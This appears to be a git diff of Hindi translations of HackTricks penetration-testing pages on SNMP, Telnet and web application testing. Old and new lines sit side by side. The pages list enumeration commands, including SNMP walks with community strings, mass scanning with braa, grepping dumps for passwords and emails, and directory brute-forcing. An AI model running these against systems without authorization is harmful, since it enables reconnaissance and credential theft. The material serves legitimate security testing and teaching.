यदि आप एक मान्य समुदाय स्ट्रिंग जानते है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
यदि आपके पास एक मान्य समुदाय स्ट्रिंग है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -120,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त करना संभव है:
विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी इकट्ठा करना संभव है:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@ -141,23 +142,23 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
- **`rwcommunity`** के लिए **IPv4** पते, और
- **`rwcommunity6`** के लिए **IPv6** पते।
दोनों कमांड एक **समुदाय स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
दोनों कमांड एक **कम्युनिटी स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
### Microsoft Windows के लिए SNMP पैरामीटर
Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग किया जाता है:
SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग की जाती है:
- **सिस्टम प्रक्रियाएँ**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंची जाती हैं, यह पैरामीटर सिस्टम के भीतर सक्रिय प्रक्रियाओं की निगरानी की अनुमति देता है।
- **चल रहे कार्यक्रम**: `1.3.6.1.2.1.25.4.2.1.2` मान वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए निर्धारित है।
- **चल रहे कार्यक्रम**: वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए `1.3.6.1.2.1.25.4.2.1.2` मान निर्धारित किया गया है।
- **प्रक्रियाओं का पथ**: यह निर्धारित करने के लिए कि कोई प्रक्रिया कहाँ से चल रही है, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` द्वारा की जाती है।
- **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए, `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
- **उपयोगकर्ता खाते**: `1.3.6.1.4.1.77.1.2.25` मान उपयोगकर्ता खातों को ट्रैक करने की अनुमति देता है।
- **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से की जाती है।
- **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
- **उपयोगकर्ता खाते**: उपयोगकर्ता खातों को ट्रैक करने के लिए `1.3.6.1.4.1.77.1.2.25` मान की अनुमति है।
- **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
### Cisco
यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर नज़र डालें:
यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर एक नज़र डालें:
{{#ref}}
cisco-snmp.md
@ -173,7 +174,7 @@ snmp-rce.md
## **मासिव SNMP**
[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न बनाना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न करना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं होती है।
@ -185,9 +186,9 @@ braa ignite123@192.168.1.125:.1.3.6.*
तो, चलिए सबसे दिलचस्प जानकारी की तलाश करते हैं (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
### **उपकरण**
### **Devices**
यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
@ -197,9 +198,9 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```bash
grep -i "trap" *.snmp
```
### **उपयोगकर्ता नाम/पासवर्ड**
### **यूजरनेम/पासवर्ड**
MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से उपयोगकर्ता नाम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से यूजरनेम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
```bash
grep -i "login\|fail" *.snmp
```
@ -211,11 +212,11 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP मानों को संशोधित करना
आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** पता होनी चाहिए
आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जाननी होगी
## स्पूफिंग
यदि कोई ACL है जो केवल कुछ IPs को SMNP सेवा को क्वेरी करने की अनुमति देती है, तो आप UDP पैकेट के अंदर इनमें से किसी एक पते को स्पूफ कर सकते हैं और ट्रैफ़िक को स्निफ कर सकते हैं।
यदि कोई ACL है जो केवल कुछ IPs को SMNP सेवा को क्वेरी करने की अनुमति देती है, तो आप UDP पैकेट के अंदर इन पते में से एक को स्पूफ कर सकते हैं और ट्रैफ़िक को स्निफ कर सकते हैं।
## SNMP कॉन्फ़िगरेशन फ़ाइलों की जांच करें
@ -223,6 +224,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
- snmpd.conf
- snmp-config.xml
## HackTricks स्वचालित आदेश
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
@ -235,7 +237,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -11,9 +11,9 @@ Telnet एक नेटवर्क प्रोटोकॉल है जो
```
23/tcp open telnet
```
## **सूचना संग्रहण**
## **Enumeration**
### **बैनर ग्रैबिंग**
### **Banner Grabbing**
```bash
nc -vn <IP> 23
```
@ -21,9 +21,9 @@ nc -vn <IP> 23
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
स्क्रिप्ट `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
The script `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जिन्हें स्वीकृत किया जाएगा और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए अधिक जटिल (या शायद बस अलग) सेट के सम्मेलनों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जो स्वीकृत होंगे और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए एक अधिक विस्तृत (या शायद बस अलग) सेट के नियमों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
**मुझे पता है कि इन विकल्पों को गिनना संभव है लेकिन मुझे नहीं पता कैसे, इसलिए मुझे बताएं कि क्या आप जानते हैं।**
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -27,15 +27,15 @@ web-api-pentesting.md
> इस पद्धति में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
- [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें।
- [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है?
- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
- [ ] **वेब सर्वर** द्वारा उपयोग की जाने वाली **प्रौद्योगिकियों** की **पहचान** करना शुरू करें। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **कौशल** देखें।
- [ ] क्या प्रौद्योगिकी के संस्करण की कोई **ज्ञात भेद्यता** है?
- [ ] क्या कोई **जानी-मानी तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक**?
- [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
- [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
- [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटर** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए
- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करें
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
- [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप** खोजने का प्रयास करें।
- [ ] **ब्रूट-फोर्स पैरामीटर**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें।
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
**HTTP हेडर और प्रतिक्रिया के कुकीज़** **तकनीकों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
**HTTP हेडर और प्रतिक्रिया के कुकीज़** प्रौद्योगिकियों और/या उपयोग की जा रही **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -99,16 +99,16 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_ध्यान में रखें कि **same domain** विभिन्न **ports**, **folders** और **subdomains** में **different technologies** का उपयोग कर सकता है._\
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजने के लिए मत भूलें (और मुझे बताएं!)।
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजना न भूलें (और मुझे बताएं!)।
### Source Code Review
यदि एप्लिकेशन का **source code** **github** में उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
- क्या कोई **Change-log या Readme या Version** फ़ाइल है या कुछ भी जिसमें **version info accessible** वेब के माध्यम से ह?
- क्या कोई **Change-log या Readme या Version** फ़ाइल है या कुछ भी जिसमें **version info accessible** वेब के माध्यम से ह?
- **Credentials** कैसे और कहाँ सहेजे जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
- क्या **passwords** **plain text**, **encrypted** हैं या कौन सा **hashing algorithm** उपयोग किया गया है?
- क्या यह कुछ encrypt करने के लिए कोई **master key** का उपयोग क रहा है? कौन सा **algorithm** उपयोग किया गया है?
- क्या कुछ encrypt करने के लिए कोई **master key** का उपयोग किया जा रहा है? कौन सा **algorithm** उपयोग किया गया है?
- क्या आप किसी **vulnerability** का फायदा उठाकर **इन फ़ाइलों** में से किसी तक पहुँच सकते हैं?
- क्या **github** में कोई **interesting information** है (solved और not solved) **issues** में? या **commit history** में (शायद कुछ **password जो एक पुराने commit में डाला गया**)?
@ -132,7 +132,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS स्कैनर
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक पाया जाए:
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
@ -171,16 +171,16 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
- **PATCH, DEBUG** या गलत जैसे **FAKE** जैसे **विभिन्न HTTP क्रियाएँ** आज़माएँ
#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT क्रिया, WebDav**](put-method-webdav.md)**)**
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
- **ब्रूट फोर्स** क्रेडेंशियल्स
- वेब पृष्ठ के अंदर **पाई गई फ़ोल्डरों** के **बाकी** में WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
- वेब पृष्ठ के अंदर **पाई गई अन्य फ़ोल्डरों** में फ़ाइलें **अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
### **SSL/TLS कमजोरियाँ**
- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को मजबूर नहीं कर रहा है** तो यह **MitM** के लिए **कमजोर** है
- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
@ -199,10 +199,10 @@ SSL/TLS कमजोरियों के बारे में जानक
### स्पाइडरिंग
वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **परीक्षित एप्लिकेशन से जितने संभव हो सके पथों को खोजना**। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध पथों को खोजा जाना चाहिए।
वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य **परीक्षित एप्लिकेशन से जितने संभव हो सके पथों को खोजना** है। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध पथों को खोजा जाना चाहिए।
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)।
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org।
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org के साथ
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
- [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
@ -217,27 +217,27 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
- [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई पिछले उपकरणों के विकल्पों को मिलाकर सामग्री खोजने का उपकरण
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो दी गई .js.map URL से आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स का पता लगाने के लिए किया जाता है।
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)।
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी भी खोजें।
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है।
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स को निकालता है।**
- [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह हर लिंक को प्रिंट करता है जिसे यह खोजने में सक्षम है।
### डाइरेक्टरी और फ़ाइलों पर ब्रूट फोर्स
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **डायरेक्टरीज़** पर ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी डायरेक्टरीज़ पर।\
उपकरण:
- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावर्ती खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति नहीं देता लेकिन** पुनरावर्ती खोज की अनुमति देता है।
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति देता है, इसमें **पुनरावर्ती** खोज नहीं है।
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावर्ती खोज का समर्थन करता है।**
- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति नहीं देता लेकिन** पुनरावृत्त खोज की अनुमति देता है।
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति देता है, इसमें **पुनरावृत्त** खोज नहीं है।
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्त खोज का समर्थन करता है।**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
@ -250,7 +250,7 @@ SSL/TLS कमजोरियों के बारे में जानक
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote शब्दकोश](https://wordlists.assetnote.io)
- [Assetnote वर्डलिस्ट](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@ -264,13 +264,13 @@ SSL/TLS कमजोरियों के बारे में जानक
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, इसे ब्रूट-फोर्स किया जाना चाहिए।_
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
### प्रत्येक पाई गई फ़ाइल पर क्या जांचें
